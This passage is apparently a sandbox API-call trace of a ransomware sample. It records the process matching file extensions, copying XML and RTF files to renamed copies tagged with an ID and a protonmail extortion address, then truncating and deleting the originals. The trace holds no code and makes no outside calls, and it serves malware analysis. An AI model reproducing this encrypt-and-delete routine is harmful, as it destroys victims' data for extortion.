	[0063.017] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0063.018] lstrlenW (lpString=".xlsx") returned 5
	[0063.018] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0063.018] lstrlenW (lpString=".ppt") returned 4
	[0063.018] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0063.018] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0063.018] lstrlenW (lpString=".zip") returned 4
	[0063.018] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0063.018] lstrlenW (lpString=".rar") returned 4
	[0063.018] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0063.018] lstrlenW (lpString=".bz2") returned 4
	[0063.018] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0063.018] lstrlenW (lpString=".7z") returned 3
	[0063.018] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0063.018] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0063.018] lstrlenW (lpString=".dbf") returned 4
	[0063.018] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0063.018] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0063.018] lstrlenW (lpString=".1cd") returned 4
	[0063.018] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0063.018] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0063.018] lstrlenW (lpString=".jpg") returned 4
	[0063.018] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0063.018] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0063.018] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0063.018] lstrlenW (lpString=".doc") returned 4
	[0063.019] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0063.019] lstrlenW (lpString=".docx") returned 5
	[0063.019] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0063.019] lstrlenW (lpString=".pdf") returned 4
	[0063.019] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0063.019] lstrlenW (lpString=".xls") returned 4
	[0063.019] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0063.019] lstrlenW (lpString=".xlsx") returned 5
	[0063.019] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0063.019] lstrlenW (lpString=".ppt") returned 4
	[0063.020] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0063.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0063.020] lstrlenW (lpString=".zip") returned 4
	[0063.020] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0063.020] lstrlenW (lpString=".rar") returned 4
	[0063.020] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0063.020] lstrlenW (lpString=".bz2") returned 4
	[0063.020] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0063.020] lstrlenW (lpString=".7z") returned 3
	[0063.020] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0063.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0063.020] lstrlenW (lpString=".dbf") returned 4
	[0063.020] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0063.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0063.020] lstrlenW (lpString=".1cd") returned 4
	[0063.020] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0063.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0063.020] lstrlenW (lpString=".jpg") returned 4
	[0063.020] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0063.020] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0063.020] lstrlenW (lpString="UiInfo.xml") returned 10
	[0063.020] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0063.022] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=39042) returned 1
	[0063.022] CloseHandle (hObject=0x2c8) returned 1
	[0063.022] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80
	[0063.022] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0063.022] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0063.022] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.022] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.022] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0063.024] GetLastError () returned 0x0
	[0063.024] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x9882, lpOverlapped=0x0) returned 1
	[0063.027] WriteFile (in: hFile=0x368, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x9890, lpOverlapped=0x0) returned 1
	[0063.028] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0063.028] WriteFile (in: hFile=0x368, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0063.028] SetEndOfFile (hFile=0x368) returned 1
	[0063.029] CloseHandle (hObject=0x368) returned 1
	[0063.030] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.030] SetEndOfFile (hFile=0x2c8) returned 1
	[0063.031] CloseHandle (hObject=0x2c8) returned 1
	[0063.031] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0063.032] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 1
	[0063.032] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0063.032] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0063.032] lstrlenW (lpString=".doc") returned 4
	[0063.032] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0063.032] lstrlenW (lpString=".docx") returned 5
	[0063.032] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0063.032] lstrlenW (lpString=".pdf") returned 4
	[0063.032] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0063.032] lstrlenW (lpString=".xls") returned 4
	[0063.032] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0063.032] lstrlenW (lpString=".xlsx") returned 5
	[0063.032] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0063.032] lstrlenW (lpString=".ppt") returned 4
	[0063.032] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0063.032] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0063.032] lstrlenW (lpString=".zip") returned 4
	[0063.032] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0063.032] lstrlenW (lpString=".rar") returned 4
	[0063.032] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0063.032] lstrlenW (lpString=".bz2") returned 4
	[0063.033] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0063.033] lstrlenW (lpString=".7z") returned 3
	[0063.033] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0063.033] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0063.033] lstrlenW (lpString=".dbf") returned 4
	[0063.033] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0063.033] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0063.033] lstrlenW (lpString=".1cd") returned 4
	[0063.033] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0063.033] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0063.033] lstrlenW (lpString=".jpg") returned 4
	[0063.033] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0063.033] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0063.033] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0063.033] lstrlenW (lpString=".doc") returned 4
	[0063.033] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0063.033] lstrlenW (lpString=".docx") returned 5
	[0063.033] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0063.033] lstrlenW (lpString=".pdf") returned 4
	[0063.033] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0063.033] lstrlenW (lpString=".xls") returned 4
	[0063.033] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0063.033] lstrlenW (lpString=".xlsx") returned 5
	[0063.033] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0063.033] lstrlenW (lpString=".ppt") returned 4
	[0063.033] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0063.033] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0063.033] lstrlenW (lpString=".zip") returned 4
	[0063.033] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0063.033] lstrlenW (lpString=".rar") returned 4
	[0063.033] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0063.033] lstrlenW (lpString=".bz2") returned 4
	[0063.034] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0063.034] lstrlenW (lpString=".7z") returned 3
	[0063.034] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0063.034] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0063.034] lstrlenW (lpString=".dbf") returned 4
	[0063.034] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0063.034] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0063.034] lstrlenW (lpString=".1cd") returned 4
	[0063.034] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0063.034] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0063.034] lstrlenW (lpString=".jpg") returned 4
	[0063.034] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0063.034] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0063.034] lstrlenW (lpString="Parameterinfo.xml") returned 17
	[0063.034] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0063.034] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=93314) returned 1
	[0063.034] CloseHandle (hObject=0x2c8) returned 1
	[0063.034] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80
	[0063.035] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0063.035] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0063.035] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.035] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.035] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0063.035] GetLastError () returned 0x0
	[0063.035] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x16c82, lpOverlapped=0x0) returned 1
	[0063.038] WriteFile (in: hFile=0x368, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x16c90, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x16c90, lpOverlapped=0x0) returned 1
	[0063.041] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0063.041] WriteFile (in: hFile=0x368, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0063.041] SetEndOfFile (hFile=0x368) returned 1
	[0063.042] CloseHandle (hObject=0x368) returned 1
	[0063.044] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.044] SetEndOfFile (hFile=0x2c8) returned 1
	[0063.045] CloseHandle (hObject=0x2c8) returned 1
	[0063.046] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0063.046] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 1
	[0063.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0063.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0063.046] lstrlenW (lpString=".doc") returned 4
	[0063.046] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0063.046] lstrlenW (lpString=".docx") returned 5
	[0063.046] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0063.046] lstrlenW (lpString=".pdf") returned 4
	[0063.046] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0063.047] lstrlenW (lpString=".xls") returned 4
	[0063.047] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0063.047] lstrlenW (lpString=".xlsx") returned 5
	[0063.047] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0063.047] lstrlenW (lpString=".ppt") returned 4
	[0063.047] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0063.047] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0063.047] lstrlenW (lpString=".zip") returned 4
	[0063.047] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0063.047] lstrlenW (lpString=".rar") returned 4
	[0063.047] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0063.047] lstrlenW (lpString=".bz2") returned 4
	[0063.047] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0063.047] lstrlenW (lpString=".7z") returned 3
	[0063.047] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0063.047] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0063.047] lstrlenW (lpString=".dbf") returned 4
	[0063.047] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0063.047] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0063.047] lstrlenW (lpString=".1cd") returned 4
	[0063.047] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0063.047] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0063.047] lstrlenW (lpString=".jpg") returned 4
	[0063.047] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0063.047] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0063.047] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0063.047] lstrlenW (lpString=".doc") returned 4
	[0063.047] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0063.047] lstrlenW (lpString=".docx") returned 5
	[0063.047] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0063.047] lstrlenW (lpString=".pdf") returned 4
	[0063.047] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0063.048] lstrlenW (lpString=".xls") returned 4
	[0063.048] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0063.048] lstrlenW (lpString=".xlsx") returned 5
	[0063.048] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0063.048] lstrlenW (lpString=".ppt") returned 4
	[0063.048] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0063.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0063.048] lstrlenW (lpString=".zip") returned 4
	[0063.048] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0063.048] lstrlenW (lpString=".rar") returned 4
	[0063.048] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0063.048] lstrlenW (lpString=".bz2") returned 4
	[0063.048] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0063.048] lstrlenW (lpString=".7z") returned 3
	[0063.048] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0063.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0063.048] lstrlenW (lpString=".dbf") returned 4
	[0063.048] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0063.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0063.048] lstrlenW (lpString=".1cd") returned 4
	[0063.048] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0063.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0063.048] lstrlenW (lpString=".jpg") returned 4
	[0063.048] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0063.048] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0063.048] lstrlenW (lpString="UiInfo.xml") returned 10
	[0063.048] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0063.049] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=39050) returned 1
	[0063.049] CloseHandle (hObject=0x2c8) returned 1
	[0063.049] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80
	[0063.049] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0063.049] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0063.049] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.049] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.049] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0063.792] GetLastError () returned 0x0
	[0063.792] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x988a, lpOverlapped=0x0) returned 1
	[0063.795] WriteFile (in: hFile=0x328, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x9890, lpOverlapped=0x0) returned 1
	[0063.797] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0063.798] WriteFile (in: hFile=0x328, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0063.798] SetEndOfFile (hFile=0x328) returned 1
	[0063.798] CloseHandle (hObject=0x328) returned 1
	[0063.800] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.800] SetEndOfFile (hFile=0x2c8) returned 1
	[0063.801] CloseHandle (hObject=0x2c8) returned 1
	[0063.802] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0063.802] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 1
	[0063.802] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0063.802] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0063.802] lstrlenW (lpString=".doc") returned 4
	[0063.802] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0063.802] lstrlenW (lpString=".docx") returned 5
	[0063.802] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0063.803] lstrlenW (lpString=".pdf") returned 4
	[0063.803] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0063.803] lstrlenW (lpString=".xls") returned 4
	[0063.803] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0063.803] lstrlenW (lpString=".xlsx") returned 5
	[0063.803] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0063.803] lstrlenW (lpString=".ppt") returned 4
	[0063.803] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0063.803] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0063.803] lstrlenW (lpString=".zip") returned 4
	[0063.803] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0063.803] lstrlenW (lpString=".rar") returned 4
	[0063.803] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0063.803] lstrlenW (lpString=".bz2") returned 4
	[0063.803] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0063.803] lstrlenW (lpString=".7z") returned 3
	[0063.803] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0063.803] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0063.803] lstrlenW (lpString=".dbf") returned 4
	[0063.803] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0063.803] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0063.803] lstrlenW (lpString=".1cd") returned 4
	[0063.803] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0063.803] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0063.803] lstrlenW (lpString=".jpg") returned 4
	[0063.803] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0063.804] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0063.804] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0063.804] lstrlenW (lpString=".doc") returned 4
	[0063.804] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0063.804] lstrlenW (lpString=".docx") returned 5
	[0063.804] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0063.804] lstrlenW (lpString=".pdf") returned 4
	[0063.804] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0063.804] lstrlenW (lpString=".xls") returned 4
	[0063.804] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
